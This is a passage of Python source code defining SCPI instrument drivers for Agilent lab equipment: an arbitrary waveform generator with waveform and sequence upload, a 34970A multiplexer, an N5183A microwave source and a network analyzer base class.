self.interface._resource.write_termination = u\"\\n\"\n self.interface._resource.timeout = 5000 #seem to have trouble timing out on first query sometimes\n\n FUNCTION_MAP = {\"Sine\": \"SIN\",\n \"Square\": \"SQU\",\n \"Triangle\": \"TRI\",\n \"Ramp\": \"RAMP\",\n \"Pulse\": \"PULS\",\n \"PRBS\": \"PRBS\",\n \"Noise\": \"NOIS\",\n \"DC\": \"DC\",\n \"User\": \"ARB\"}\n frequency = FloatCommand(scpi_string=\"SOURce{channel:d}:FREQuency\",additional_args=['channel'])\n # FUNCtion subsystem\n function = StringCommand(scpi_string=\"SOURce{channel:d}:FUNCtion\",\n value_map = FUNCTION_MAP,additional_args=['channel'])\n ramp_symmetry = FloatCommand(scpi_string=\"FUNCtion:RAMP:SYMMetry\")\n # When function is Pulse:\n pulse_width = FloatCommand(scpi_string=\"SOURce{channel:d}:FUNCtion:PULSe:WIDTh\",\n additional_args=['channel'])\n pulse_period = FloatCommand(scpi_string=\"SOURce{channel:d}:FUNCtion:PULSe:PERiod\",\n additional_args=['channel'])\n pulse_edge = FloatCommand(scpi_string=\"SOURce{channel:d}:FUNCtion:PULSe:TRANsition\",\n additional_args=['channel'])\n pulse_dcyc = IntCommand(scpi_string=\"SOURce{channel:d}:FUNCtion:PULSe:DCYCle\",\n additional_args=['channel'])\n # When function is ARBitrary:\n arb_waveform = StringCommand(scpi_string=\"SOURce{channel:d}:FUNCtion:ARBitrary\",\n additional_args=['channel'])\n arb_advance = StringCommand(scpi_string=\"SOURce{channel:d}:FUNCtion:ARBitrary:ADVance\",\n allowed_values=[\"Trigger\",\"Srate\"],\n additional_args=['channel'],\n doc=\"Advance mode to the next point: 'Trigger' or 'Srate' (Sample Rate)\")\n arb_frequency = FloatCommand(scpi_string=\"SOURce{channel:d}:FUNCtion:ARBitrary:FREQuency\",\n additional_args=['channel'])\n arb_amplitude = FloatCommand(scpi_string=\"SOURce{channel:d}:FUNCtion:ARBitrary:PTPeak\",\n additional_args=['channel'])\n arb_sample = FloatCommand(scpi_string=\"SOURce{channel:d}:FUNCtion:ARBitrary:SRATe\",\n additional_args=['channel'],doc=\"Sample Rate\")\n # VOLTage subsystem\n amplitude = FloatCommand(scpi_string=\"SOURce{channel:d}:VOLT\",\n additional_args=['channel'])\n dc_offset = FloatCommand(scpi_string=\"SOURce{channel:d}:VOLT:OFFSET\",\n additional_args=['channel'])\n auto_range = Command(scpi_string=\"SOURce{channel:d}:VOLTage:RANGe:AUTO\",\n value_map={True: \"1\", False: \"0\"},\n additional_args=['channel'])\n low_voltage = FloatCommand(scpi_string=\"SOURce{channel:d}:VOLTage:LOW\",\n additional_args=['channel'])\n high_voltage = FloatCommand(scpi_string=\"SOURce{channel:d}:VOLTage:HIGH\",\n additional_args=['channel'])\n output_units = Command(scpi_string=\"SOURce{channel:d}:VOLTage:UNIT\",\n value_map={\"Vpp\" : \"VPP\", \"Vrms\" : \"VRMS\", \"dBm\" : \"DBM\"},\n additional_args=['channel'])\n # Output subsystem\n output = Command(scpi_string=\"OUTP{channel:d}\", value_map={True: \"1\", False: \"0\"},\n additional_args=['channel'])\n load = FloatCommand(scpi_string=\"OUTP{channel:d}:LOAD\", value_range=[1,1e4],\n additional_args=['channel'],\n doc=\"Expected load resistance, 1-10k\")\n output_gated = Command(scpi_string=\"OUTP{channel:d}:MODE\", value_map={True:\"GATed\", False:\"NORMal\"},\n additional_args=['channel'])\n polarity = Command(scpi_string=\"OUTP{channel:d}:POL\",\n value_map = {1 : \"NORM\", -1 : \"INV\"},\n additional_args=['channel'])\n output_sync = Command(scpi_string=\"OUTP{channel:d}:SYNC\",\n value_map = {True: \"1\", False: \"0\"},\n additional_args=['channel'])\n sync_mode = StringCommand(scpi_string=\"OUTP{channel:d}:SYNC:MODE\",\n allowed_values = [\"Normal\",\"Carrier\",\"Marker\"],\n additional_args=['channel'])\n sync_polarity = Command(scpi_string=\"OUTP{channel:d}:SYNC:POL\",\n value_map = {1 : \"NORM\", -1 : \"INV\"},\n additional_args=['channel'])\n sync_source = Command(scpi_string=\"OUTP:SYNC:SOURce\",\n value_map = {1 : \"CH1\", 2 : \"CH2\"})\n output_trigger = Command(scpi_string=\"OUTP:TRIGger\", value_map={True:'1', False:'0'})\n output_trigger_source = Command(scpi_string=\"OUTP:TRIGger:SOURce\",\n value_map = {1: \"CH1\", 2: \"CH2\"})\n output_trigger_slope = StringCommand(scpi_string=\"OUTP:TRIGger:SLOPe\",\n value_map = {\"Positive\": \"POS\", \"Negative\": \"NEG\"})\n #Trigger, Burst, etc...\n burst_state = Command(scpi_string=\"SOURce{channel:d}:BURSt:STATE\",\n value_map = {True: '1', False: '0'},\n additional_args=['channel'])\n burst_cycles = FloatCommand(scpi_string=\"SOURce{channel:d}:BURSt:NCYCles\",\n additional_args=['channel'])\n burst_mode = StringCommand(scpi_string=\"SOURce{channel:d}:BURSt:MODE\",\n value_map = {\"Triggered\": \"TRIG\", \"Gated\": \"GAT\"},\n additional_args=['channel'])\n trigger_source = StringCommand(scpi_string=\"TRIGger:SOURce\",\n value_map = {\"Internal\": \"IMM\", \"External\": \"EXT\", \"Bus\": \"BUS\"})\n trigger_slope = StringCommand(scpi_string=\"TRIGger:SLOPe\",\n value_map = {\"Positive\": \"POS\", \"Negative\": \"NEG\"})\n # Data subsystem\n sequence = StringCommand(scpi_string=\"SOURce{channel:d}:DATA:SEQuence\",\n additional_args=['channel'])\n\n def set_infinite_load(self, channel=1):\n self.interface.write(\"OUTP{channel:d}:LOAD INF\".format(channel=channel))\n\n def clear_waveform(self,channel=1):\n \"\"\" Clear all waveforms loaded in the memory \"\"\"\n logger.debug(\"Clear all waveforms loaded in the memory of %s\" %self.name)\n self.interface.write(\"SOURce%d:DATA:VOLatile:CLEar\" %channel)\n\n def upload_waveform(self,data,channel=1,name=\"mywaveform\",dac=True):\n \"\"\" Load string-converted data into a waveform memory\n\n dac: True if values are converted to integer already\n \"\"\"\n # Check number of data points\n N = len(data)\n if N<8 or N>65536:\n log.error(\"Data has invalid length = %d. Must be between 8 and 65536. Cannot upload waveform.\" %N)\n return False\n # Check length of waveform length, must be <=12\n if len(name)>12:\n logger.warning(\"Waveform length is larger than the limit of 12. Will be clipped off: %s --> %s\" \\\n %(name,name[:12]))\n name = name[:12] # Arb waveform name at most 12 characters\n if dac: # Data points are integer\n dac_str = \":DAC\"\n # Values must be within -32767 and 32767\n if abs(np.max(data))>32767:\n logger.warning(\"Some points out of range [-32767,32767] will be clipped off.\")\n data = [int(max(min(datum,32767),-32767)) for datum in data]\n else: # Data points are float\n dac_str = \"\"\n # Values must be within -1 and 1\n if abs(np.max(data))>1:\n logger.warning(\"Some points out of range [-1,1] will be clipped off.\")\n data = [max(min(datum,1),-1) for datum in data]\n # convert array into string\n data_str = ','.join([str(item) for item in data])\n logger.debug(\"Upload waveform %s to instrument %s, channel %d: %s\" %(name,self.name,channel,data))\n self.interface.write(\"SOURce%s:DATA:ARBitrary1%s %s,%s\" %(channel,dac_str,name,data_str))\n # Check if successfully uploaded or not\n data_pts = int(self.interface.query(\"SOURce%s:DATA:ATTR:POIN? %s\" %(channel,name)))\n if data_pts==N:\n logger.debug(\"Successfully uploaded waveform %s to instrument %s, channel %d\" %(name,self.name,channel))\n return True\n else:\n logger.error(\"Failed uploading waveform %s to instrument %s, channel %d\" %(name,self.name,channel))\n return False\n\n def upload_waveform_binary(self,data,channel=1,name=\"mywaveform\",dac=True):\n \"\"\" NOT YET WORKING - DO NOT USE\n Load binary data into a waveform memory\n\n dac: True if values are converted to integer already\n \"\"\"\n logger.warning(\"Binary upload is under development. May not work as intended. Please consider using ASCII upload: upload_waveform()\")\n N = len(data)\n if N<8 or N>16e6:\n log.error(\"Data has invalid length = %d. Must be between 8 and 16M. Cannot upload waveform.\" %N)\n return False\n # Check length of waveform length, must be <=12\n if len(name)>12:\n logger.warning(\"Waveform length is larger than the limit of 12. Will be clipped off: %s --> %s\" \\\n %(name,name[:12]))\n name = name[:12] # Arb waveform name at most 12 characters\n # We don't support float values, so must convert to integer\n if not dac:\n logger.warning(\"We current do not support uploading float values. Waveform values will be converted to integer.\")\n # Convert to integer option (dac=True)\n data = [datum*32767 for datum in data]\n # Values must be within -32767 and 32767\n if abs(np.max(data))>32767:\n logger.warning(\"Some points out of range [-32767,32767] will be clipped off.\")\n data = [int(max(min(datum,32767),-32767)) for datum in data]\n wf = []\n N = N*2 # 2 bytes for each point\n n = int(np.log10(N))+1 # Number of digits of N\n # Split 2-byte integer into 2 separate bytes\n for datum in data:\n if datum>0:\n wf.append(datum >> 8)\n wf.append(datum % 1<<8)\n else:\n datum = -datum\n wf.append(-(datum >> 8))\n wf.append(-(datum % 1<<8))\n wf = np.array(wf,dtype='int8') # Force datatype to 8-bit integer\n logger.debug(\"Upload waveform %s to instrument %s, channel %d: %s\" %(name,self.name,channel,wf))\n self.interface.write_binary_values(\"SOURce%s:DATA:ARBitrary1:DAC %s,#%d%d\" %(channel,name,n,N),\n wf, datatype='b', is_big_endian=False)\n # Check if successfully uploaded or not\n data_pts = int(self.interface.query(\"SOURce%s:DATA:ATTR:POIN? %s\" %(channel,name)))\n if data_pts==len(data):\n logger.debug(\"Successfully uploaded waveform %s to instrument %s, channel %d\" %(name,self.name,channel))\n return True\n else:\n logger.error(\"Failed uploading waveform %s to instrument %s, channel %d\" %(name,self.name,channel))\n return False\n\n def upload_sequence(self,sequence,channel=1,binary=False):\n \"\"\" Upload a sequence to the instrument \"\"\"\n # Upload each segment\n if binary:\n for seg in sequence.segments:\n self.upload_waveform_binary(seg.data,channel=channel,name=seg.name,dac=seg.dac)\n else:\n for seg in sequence.segments:\n self.upload_waveform(seg.data,channel=channel,name=seg.name,dac=seg.dac)\n # Now upload the sequence\n descriptor = sequence.get_descriptor()\n logger.debug(\"Upload sequence %s to %s: %s\" %(sequence.name,self.name,descriptor))\n self.set_sequence(descriptor,channel=channel)\n\n def arb_sync(self):\n \"\"\" Restart the sequences and synchronize them \"\"\"\n self.interface.write(\"FUNCtion:ARBitrary:SYNChronize\")\n\n def trigger(self,channel=1):\n self.interface.write(\"TRIGger%d\" %channel)\n\n def abort(self):\n self.interface.write(\"ABORt\")\n\n # Subclasses of Agilent33500B\n class Segment(object):\n def __init__(self,name,data=[],dac=True,control=\"once\",repeat=0,mkr_mode=\"maintain\",mkr_pts=4):\n \"\"\" Information of a segment/waveform\n\n dac: True if data is converted to integer already\n control: once - play once\n onceWaitTrig - play once then wait for trigger\n repeat - repeat a number of times (repeat count)\n repeatInf - repeat forever until stopped\n repeatTilTrig - repeat until triggered then advance\n repeat: number of repeats if control == repeat\n mkr_mode: marker mode: maintain-maintaincurrentmarkerstateatstartofsegment\n lowAtStart-forcemarkerlowatstartofsegment\n highAtStart-forcemarkerhighatstartofsegment\n highAtStartGoLow-forcemarkerhighatstartofsegmentandthenlowatmarkerposition\n mkr_pts: marker points\n \"\"\"\n self.name = name\n self.data = data\n self.dac = dac\n self.control = control\n self.repeat = repeat\n self.mkr_mode = mkr_mode\n self.mkr_pts = mkr_pts\n\n def self_check(self):\n N = len(self.data)\n if N<8:\n logger.error(\"Waveform %s must have at least 8 points\" %self.name)\n return False\n else:\n if self.mkr_pts < 4:\n self.mkr_pts = 4\n logger.warning(\"Marker points of waveform %s is less than 4. Set to 4.\" %self.name)\n if self.mkr_pts > N-3:\n self.mkr_pts = N-3\n logger.warning(\"Marker points of waveform %s is longer than lenght-3 = %d. Set to lenght-3.\" %(self.name,N-3))\n return True\n\n def update(self,**kwargs):\n for k,v in kwargs.items():\n if k in [\"name\",\"data\",\"control\",\"repeat\",\"mkr_mode\",\"mkr_pts\"]:\n logger.debug(\"Set %s.%s = %s\" %(self.name,k,v))\n setattr(self,k,v)\n else:\n logger.warning(\"Key %s is not valid for Segment %s. Ignore.\" %(k,self.name))\n return self.self_check()\n\n class Sequence(object):\n def __init__(self,name):\n self.name = name\n self.segments = []\n\n def add_segment(self,segment,**kwargs):\n \"\"\" Create a copy of the segment, update its values, then add to the sequence.\n The copy and update are to allow reuse of the same segment with different configurations.\n For safety, avoid reuse, but add different segment objects to the sequence.\n \"\"\"\n seg = copy.copy(segment)\n if seg.update(**kwargs):\n logger.debug(\"Add segment %s into sequence %s\" %(seg.name,self.name))\n self.segments.append(seg)\n\n def get_descriptor(self):\n \"\"\" Return block descriptor to upload to the instrument \"\"\"\n descriptor = '\"%s\"' %self.name\n for seg in self.segments:\n descriptor += ',\"%s\",%d,%s,%s,%d' %(seg.name,seg.repeat,seg.control,seg.mkr_mode,seg.mkr_pts)\n N = len(descriptor)\n n = int(np.log10(N))+1\n descriptor = \"#%d%d%s\" %(n,N,descriptor)\n logger.debug(\"Block descriptor for sequence %s: %s\" %(self.name,descriptor))\n return descriptor\n\n\nclass Agilent34970A(SCPIInstrument):\n \"\"\"Agilent 34970A MUX\"\"\"\n\n# Array of Channels to configure\n CONFIG_LIST = []\n\n# Allowed value arrays\n\n RES_VALUES = ['AUTO',1E2, 1E3, 1E4, 1E5, 1E6, 1E7, 1E8]\n PLC_VALUES = [0.02, 0.2, 1, 10, 20, 100, 200]\n ONOFF_VALUES = ['ON', 'OFF']\n TRIGSOUR_VALUES = ['BUS','IMM','EXT','TIM']\n ADVSOUR_VALUES = ['EXT','BUS','IMM']\n\n# Commands needed to configure MUX for measurement with an external instrument\n\n dmm = StringCommand(scpi_string=\"INST:DMM\",value_map={'ON': '1', 'OFF': '0'})\n advance_source = StringCommand(scpi_string=\"ROUT:CHAN:ADV:SOUR\",allowed_values=ADVSOUR_VALUES)\n trigger_source = StringCommand(scpi_string=\"TRIG:SOUR\",allowed_values=TRIGSOUR_VALUES)\n trigger_timer = FloatCommand(get_string=\"TRIG:TIMER?\", set_string=\"TRIG:TIMER {:f}\")\n trigger_count = IntCommand(get_string=\"TRIG:COUNT?\", set_string=\"TRIG:COUNT {:e}\")\n\n# Generic init and connect methods\n\n def __init__(self, resource_name=None, *args, **kwargs):\n super(Agilent34970A, self).__init__(resource_name, *args, **kwargs)\n self.name = \"Agilent 34970A MUX\"\n\n def connect(self, resource_name=None, interface_type=None):\n if resource_name is not None:\n self.resource_name = resource_name\n super(Agilent34970A, self).connect(resource_name=self.resource_name, interface_type=interface_type)\n self.interface._resource.read_termination = u\"\\n\"\n\n#Channel to String helper function converts int array to channel list string\n\n def ch_to_str(self, ch_list):\n return (\"(@\"+','.join(['{:d}']*len(ch_list))+\")\").format(*ch_list)\n\n#Helper function to sort channels by resistance measurement type\n\n def r_lists(self):\n fres_list, res_list = [], []\n res_map = self.resistance_wire\n\n for ch in self.CONFIG_LIST:\n if res_map[ch] =='\"FRES\"':\n fres_list.append(ch)\n if res_map[ch] =='\"RES\"':\n res_list.append(ch)\n\n return fres_list, res_list\n\n#Setup Scan List\n\n @property\n def scanlist(self):\n slist = re.findall('\\d{3}(?=[,)])',self.interface.query(\"ROUT:SCAN?\"))\n return [int(i) for i in slist]\n\n @scanlist.setter\n def scanlist(self, ch_list):\n self.interface.write(\"ROUT:SCAN \"+self.ch_to_str(ch_list))\n\n#Setup Config List\n\n @property\n def configlist(self):\n return self.CONFIG_LIST\n\n @configlist.setter\n def configlist(self, ch_list):\n self.CONFIG_LIST = ch_list\n\n#Start Scan\n def scan(self):\n self.interface.write(\"INIT\")\n\n#Read Values\n def read(self):\n if self.dmm==\"ON\":\n return self.interface.query_ascii_values(\"FETC?\", converter=u'e')\n else:\n raise Exception(\"Cannot issue command when DMM is disabled. Enable DMM\")\n\n# Commands that configure resistance measurement type, 2 or 4 wire\n\n @property\n def resistance_wire(self):\n if self.dmm==\"ON\":\n query_str = \"SENS:FUNC? \"+self.ch_to_str(self.CONFIG_LIST)\n output = self.interface.query_ascii_values(query_str, converter=u's')\n else:\n query_str = \"ROUT:CHAN:FWIR? \"+self.ch_to_str(self.CONFIG_LIST)\n output = self.interface.query_ascii_values(query_str, converter=u'd')\n return {ch: val for ch, val in zip(self.CONFIG_LIST, output)}\n\n @resistance_wire.setter\n def resistance_wire(self, fw = 2):\n if self.dmm==\"ON\":\n fw_char = \"F\" if fw == 4 else \"\"\n self.interface.write((\"CONF:{}RES \"+self.ch_to_str(self.CONFIG_LIST)).format(fw_char))\n else:\n fw_char = \"ON,\" if fw == 4 else \"OFF,\"\n self.interface.write((\"ROUT:CHAN:FWIR {}\"+self.ch_to_str(self.CONFIG_LIST)).format(fw_char))\n\n# Commands that configure measurement delay for external measurements\n\n @property\n def channel_delay(self):\n query_str = \"ROUT:CHAN:DELAY? \"+self.ch_to_str(self.CONFIG_LIST)\n output = self.interface.query_ascii_values(query_str, converter=u'e')\n return {ch: val for ch, val in zip(self.CONFIG_LIST, output)}\n\n @channel_delay.setter\n def channel_delay(self, delay = 0.1):\n self.interface.write((\"ROUT:CHAN:DELAY {:e},\"+self.ch_to_str(self.CONFIG_LIST)).format(delay))\n\n# Commands that configure resistance measurements with internal DMM\n\n @property\n def resistance_range(self):\n if self.dmm==\"OFF\":\n raise Exception(\"Cannot issue command when DMM is disabled. Enable DMM\")\n else:\n fres_list, res_list = self.r_lists()\n output = {}\n if len(fres_list)>0:\n query_str = (\"SENS:FRES:RANG? \"+self.ch_to_str(fres_list))\n fres_rng = self.interface.query_ascii_values(query_str, converter=u'e')\n output.update({ch: val for ch, val in zip(fres_list, fres_rng)})\n if len(res_list)>0:\n query_str = (\"SENS:RES:RANG? \"+self.ch_to_str(res_list))\n res_rng = self.interface.query_ascii_values(query_str, converter=u'e')\n output.update({ch: val for ch, val in zip(res_list, res_rng)})\n return output\n\n @resistance_range.setter\n def resistance_range(self, val=\"AUTO\"):\n if val not in self.RES_VALUES:\n raise ValueError((\"Resistance range must be \"+'|'.join(['{}']*len(self.RES_VALUES))+\" Ohms\").format(*self.RES_VALUES))\n if self.dmm==\"OFF\":\n raise Exception(\"Cannot issue command when DMM is disabled. Enable DMM\")\n else:\n fres_list, res_list = self.r_lists()\n if len(fres_list)>0:\n if val==\"AUTO\":\n self.interface.write(\"SENS:FRES:RANG:AUTO ON,\"+self.ch_to_str(fres_list))\n else:\n self.interface.write(\"SENS:FRES:RANG:AUTO OFF,\"+self.ch_to_str(fres_list))\n self.interface.write((\"SENS:FRES:RANG {:E},\"+self.ch_to_str(fres_list)).format(val))\n if len(res_list)>0:\n if val==\"AUTO\":\n self.interface.write(\"SENS:RES:RANG:AUTO ON,\"+self.ch_to_str(res_list))\n else:\n self.interface.write(\"SENS:RES:RANG:AUTO OFF,\"+self.ch_to_str(res_list))\n self.interface.write((\"SENS:RES:RANG {:E},\"+self.ch_to_str(res_list)).format(val))\n\n @property\n def resistance_resolution(self):\n if self.dmm==\"OFF\":\n raise Exception(\"Cannot issue command when DMM is disabled. Enable DMM\")\n else:\n fres_list, res_list = self.r_lists()\n output = {}\n if len(fres_list)>0:\n query_str = (\"SENS:FRES:NPLC? \"+self.ch_to_str(fres_list))\n fres_resl = self.interface.query_ascii_values(query_str, converter=u'e')\n output.update({ch: val for ch, val in zip(fres_list, fres_resl)})\n if len(res_list)>0:\n query_str = (\"SENS:RES:NPLC? \"+self.ch_to_str(res_list))\n res_resl = self.interface.query_ascii_values(query_str, converter=u'e')\n output.update({ch: val for ch, val in zip(res_list, res_resl)})\n return output\n\n @resistance_resolution.setter\n def resistance_resolution(self, val=1):\n if val not in self.PLC_VALUES:\n raise ValueError((\"PLC integration times must be \"+'|'.join(['{:E}']*len(self.PLC_VALUES))+\" cycles\").format(*self.PLC_VALUES))\n if self.dmm==\"OFF\":\n raise Exception(\"Cannot issue command when DMM is disabled. Enable DMM\")\n else:\n fres_list, res_list = self.r_lists()\n if len(fres_list)>0:\n self.interface.write((\"SENS:FRES:NPLC {:E},\"+self.ch_to_str(fres_list)).format(val))\n if len(res_list)>0:\n self.interface.write((\"SENS:RES:NPLC {:E},\"+self.ch_to_str(res_list)).format(val))\n\n @property\n def resistance_zcomp(self):\n if self.dmm==\"OFF\":\n raise Exception(\"Cannot issue command when DMM is disabled. Enable DMM\")\n else:\n fres_list, res_list = self.r_lists()\n output = {}\n if len(fres_list)>0:\n query_str = (\"SENS:FRES:OCOM? \"+self.ch_to_str(fres_list))\n fres_zcom = self.interface.query_ascii_values(query_str, converter=u'd')\n output.update({ch: val for ch, val in zip(fres_list, fres_zcom)})\n if len(res_list)>0:\n query_str = (\"SENS:RES:OCOM? \"+self.ch_to_str(res_list))\n res_zcom = self.interface.query_ascii_values(query_str, converter=u'd')\n output.update({ch: val for ch, val in zip(res_list, res_zcom)})\n return output\n\n @resistance_zcomp.setter\n def resistance_zcomp(self, val=\"OFF\"):\n if val not in self.ONOFF_VALUES:\n raise ValueError(\"Zero compensation must be ON or OFF. Only valid for resistance range less than 100 kOhm\")\n if self.dmm==\"OFF\":\n raise Exception(\"Cannot issue command when DMM is disabled. Enable DMM\")\n else:\n fres_list, res_list = self.r_lists()\n if len(fres_list)>0:\n self.interface.write((\"SENS:FRES:OCOM {:s},\"+self.ch_to_str(fres_list)).format(val))\n if len(res_list)>0:\n self.interface.write((\"SENS:RES:OCOM {:s},\"+self.ch_to_str(res_list)).format(val))\n\nclass AgilentN5183A(SCPIInstrument):\n \"\"\"AgilentN5183A microwave source\"\"\"\n instrument_type = \"Microwave Source\"\n\n frequency = FloatCommand(scpi_string=\":freq\")\n power = FloatCommand(scpi_string=\":power\")\n phase = FloatCommand(scpi_string=\":phase\")\n\n alc = StringCommand(scpi_string=\":power:alc\", value_map={True: '1', False: '0'})\n mod = StringCommand(scpi_string=\":output:mod\", value_map={True: '1', False: '0'})\n\n output = StringCommand(scpi_string=\":output\", value_map={True: '1', False: '0'})\n\n def __init__(self, resource_name=None, *args, **kwargs):\n #If we only have an IP address then tack on the raw socket port to the VISA resource string\n super(AgilentN5183A, self).__init__(resource_name, *args, **kwargs)\n\n def connect(self, resource_name=None, interface_type=\"VISA\"):\n if resource_name is not None:\n self.resource_name = resource_name\n if is_valid_ipv4(self.resource_name):\n if \"::5025::SOCKET\" not in self.resource_name:\n self.resource_name += \"::5025::SOCKET\"\n super(AgilentN5183A, self).connect(resource_name=resource_name, interface_type=interface_type)\n self.interface._resource.read_termination = u\"\\n\"\n self.interface._resource.write_termination = u\"\\n\"\n self.interface._resource.timeout = 3000 #seem to have trouble timing out on first query sometimes\n\n def set_all(self, settings):\n super(AgilentN5183A, self).set_all(settings)\n\n @property\n def reference(self):\n return None\n\n @reference.setter\n def reference(self, ref=None):\n pass\n\nclass _AgilentNetworkAnalyzer(SCPIInstrument):\n \"\"\"Base class for Agilent Vector network analyzers.\n To use, a child class should declare at least a \"ports\" tuple which represent valid S-paramter ports on the\n instrument.\n \"\"\"\n\n instrument_type = \"Vector Network Analyzer\"\n\n TIMEOUT = 10 * 1000 #Timeout for VISA commands\n data_query_raw = False #Use low-level commands to parse block data transfer\n\n ports = () #Set of ports that the NA has.\n\n _port_powers = {}\n _format_dict = {\"MLIN\": \"LINEAR\", \"MLOG\": \"LOGARITHMIC\", \"PHAS\": \"PHASE\", \"UPH\": \"UNWRAP PHASE\",\n \"REAL\": \"REAL\", \"IMAG\": \"IMAG\", \"POL\": \"POLAR\", \"SMIT\": \"SMITH\",\n \"SADM\": \"SMITH ADMITTANCE\", \"SWR\": \"SWR\", \"GDEL\": \"GROUP DELAY\"}\n _format_dict_inv = {v: k for k, v in _format_dict.items()}\n\n ##Basic SCPI commands.\n frequency_center = FloatCommand(scpi_string=\":SENSe:FREQuency:CENTer\")\n frequency_start = FloatCommand(scpi_string=\":SENSe:FREQuency:STARt\")\n frequency_stop = FloatCommand(scpi_string=\":SENSe:FREQuency:STOP\")\n frequency_span = FloatCommand(scpi_string=\":SENSe:FREQuency:SPAN\")\n if_bandwidth = FloatCommand(scpi_string=\":SENSe1:BANDwidth\")\n num_points = IntCommand(scpi_string=\":SENSe:SWEep:POINTS\")\n\n averaging_enable = BoolCommand(get_string=\":SENSe1:AVERage:STATe?\", set_string=\":SENSe1:AVERage:STATe {:s}\", value_map={False: \"0\", True: \"1\"})\n averaging_factor = IntCommand(scpi_string=\":SENSe1:AVERage:COUNt\")\n averaging_complete = StringCommand(get_string=\":STATus:OPERation:AVERaging1:CONDition?\", value_map={False:\"+0\", True:\"+2\"})\n\n\n def __init__(self, resource_name=None, *args, **kwargs):\n self.valid_meas = tuple(f\"S{a}{b}\" for a, b in product(self.ports, self.ports))\n super().__init__(resource_name, *args, **kwargs)\n\n def connect(self, resource_name=None, interface_type=\"VISA\"):\n if resource_name is not None:\n self.resource_name = resource_name\n if is_valid_ipv4(self.resource_name):\n self.resource_name += \"::hpib7,16::INSTR\"\n else:\n logger.error(\"The resource name for the {}: {} is \" +\n \"not a valid IPv4 address.\".format(self.__class__.__name__, self.resource_name))\n super().connect(resource_name=None, interface_type=interface_type)\n self.interface._resource._read_termination = u\"\\n\"\n self.interface._resource.write_termination = u\"\\n\"\n self.interface._resource.timeout = self.TIMEOUT\n self.interface._resource.chunk_size = 2 ** 20 # Needed to fix binary transfers (?)\n\n self.interface.OPC() #wait for any previous commands to complete\n self.interface.write(\"SENSe1:SWEep:TIME:AUTO ON\") #automatic sweep time\n self.interface.write(\"FORM REAL,32\") #return measurement data as 32-bit float\n\n self.measurements = [\"S21\"]\n for p in self.ports:\n self.interface.write(f'SOUR:POW{p}:MODE AUTO')\n self._port_powers[p] = (float(self.interface.query(f\"SOUR:POW{p}? MIN\")),\n float(self.interface.query(f\"SOUR:POW{p}? MAX\")))\n\n @property\n def output_enable(self):\n \"\"\"Get output mode of each VNA port.\"\"\"\n outp = {}\n for p in self.ports:\n outp[p] = self.interface.query(f'SOUR:POW{p}:MODE?')\n return outp\n\n @output_enable.setter\n def output_enable(self, outp):\n \"\"\"Set output mode of each port. Input is a dictionary mapping port numbers to booleans. `False` corresponds to\n the port being in `OFF` mode, while `True` corresponds to the port being in `AUTO` mode.\n \"\"\"\n if isinstance(outp, dict):\n for k, v in self.outp.items():\n val = \"AUTO\" if v else \"OFF\"\n self.interface.write(f\"SOUR:POW{k}:MODE {val}\")\n else:\n val = \"AUTO\" if outp else \"OFF\"\n for p in self.ports:\n self.interface.write(f\"SOUR:POW{p}:MODE {val}\")\n\n def set_port_power(self, port, power):\n \"\"\"Set the output power (in dBm) of a specific port.\"\"\"\n assert port in self.ports, f\"This VNA does not have port {port}!\"\n minp = self._port_powers[port][0]\n maxp = self._port_powers[port][1]\n if power < minp or power > maxp:\n raise ValueError(f\"Power level outside allowable range for port {port}: ({minp} - {maxp}) dBm.\")\n self.interface.write(f\"SOUR:POW{port} {power}\")\n\n def get_port_power(self, port):\n \"\"\"Get the output power in dBm of a specific port.\"\"\"\n assert port in self.ports, f\"This VNA does not have port {port}!\"\n return float(self.interface.query(f\"SOUR:POW{port}?\"))\n\n def _get_active_ports(self):\n \"\"\"Get ports that are used for currently active measurements.\"\"\"\n return [int(m[-1]) for m in self.measurements.keys()]\n\n @property\n def power(self):\n \"\"\"Get the output power in dBm of all currently active mesurements.\"\"\"\n ports = self._get_active_ports()\n if len(ports) == 1:\n return self.get_port_power(ports[0])\n else:\n return [self.get_port_power(p) for p in ports]\n\n @power.setter\n def power(self, level):\n \"\"\"Get the output power in dBm of all currently active mesurements.\"\"\"\n for p in self._get_active_ports():\n self.set_port_power(p, level)\n\n @property\n def averaging_enable(self):\n \"\"\"Get the averaging state.\"\"\"\n state = self.interface.query(\":SENSe1:AVERage:STATe?\")\n return bool(int(state))\n\n @averaging_enable.setter\n def averaging_enable(self, value):\n \"\"\"Set the averaging state.\"\"\"\n if value:\n self.interface.write(\":SENSe1:AVERage:STATe ON\")\n else:\n self.interface.write(\":SENSe1:AVERage:STATe OFF\")\n\n def averaging_restart(self):\n \"\"\" Restart trace averaging \"\"\"\n self.interface.write(\":SENSe1:AVERage:CLEar\")\n\n @property\n def format(self):\n \"\"\"Get the currently active measurement format.\"\"\"\n meas = list(self.measurements.values())\n self.interface.write(f\"CALC:PAR:SEL {meas[0]}\")\n return self._format_dict[self.interface.query(\"CALC:FORM?\")]\n\n @format.setter\n def format(self, fmt):\n \"\"\"Set the currently active measurement format. See the `_format_dict` property for valid formats.\"\"\"\n if fmt in self._format_dict.keys():\n pass\n elif fmt in self._format_dict.values():\n fmt = self._format_dict_inv[fmt]\n else:\n raise ValueError(f\"Unrecognized VNA measurement format specifier: {fmt}\")\n\n for meas in self.measurements.values():\n self.interface.write(f\"CALC:PAR:SEL {meas}\")\n self.interface.write(f\"CALC:FORM {fmt}\")\n\n def autoscale(self):\n \"\"\"Autoscale all traces.\"\"\"\n nm = len(list(self.measurements.values()))\n for j in range(nm):\n self.interface.write(f'DISP:WIND1:TRAC{j+1}:Y:AUTO')\n\n @property\n def measurements(self):\n \"\"\"Get currently active measurements and their trace names.\"\"\"\n active_meas = self.interface.query(\"CALC:PAR:CAT?\")\n meas = active_meas.strip('\\\"').split(\",\")[::2]\n spars = active_meas.strip('\\\"').split(\",\")[1::2]\n return {s: m for m, s in zip(meas,spars)}\n\n @measurements.setter\n def measurements(self, S):\n \"\"\"Set currently active measurements, passed as a list of S-parameters. This will overwrite measurements that\n are currently active on the VNA.\"\"\"\n sp = [s.upper() for s in S]\n for s in sp:\n if s not in self.valid_meas:\n raise ValueError(f\"Invalid S-parameter measurement request: {s} is not in available measurements: {self.valid_meas}.\")\n\n #Delete all measurements\n self.interface.write(\"CALC:PAR:DEL:ALL\")\n #Close window 1 if it exists\n if (self.interface.query(\"DISP:WIND1:STATE?\") == \"1\"):\n self.interface.write(\"DISP:WIND1:STATE OFF\")\n self.interface.write(\"DISP:WIND1:STATE ON\")\n\n for j, s in enumerate(sp):\n self.interface.write(f'CALC:PAR:DEF \"M_{s}\",{s}')\n 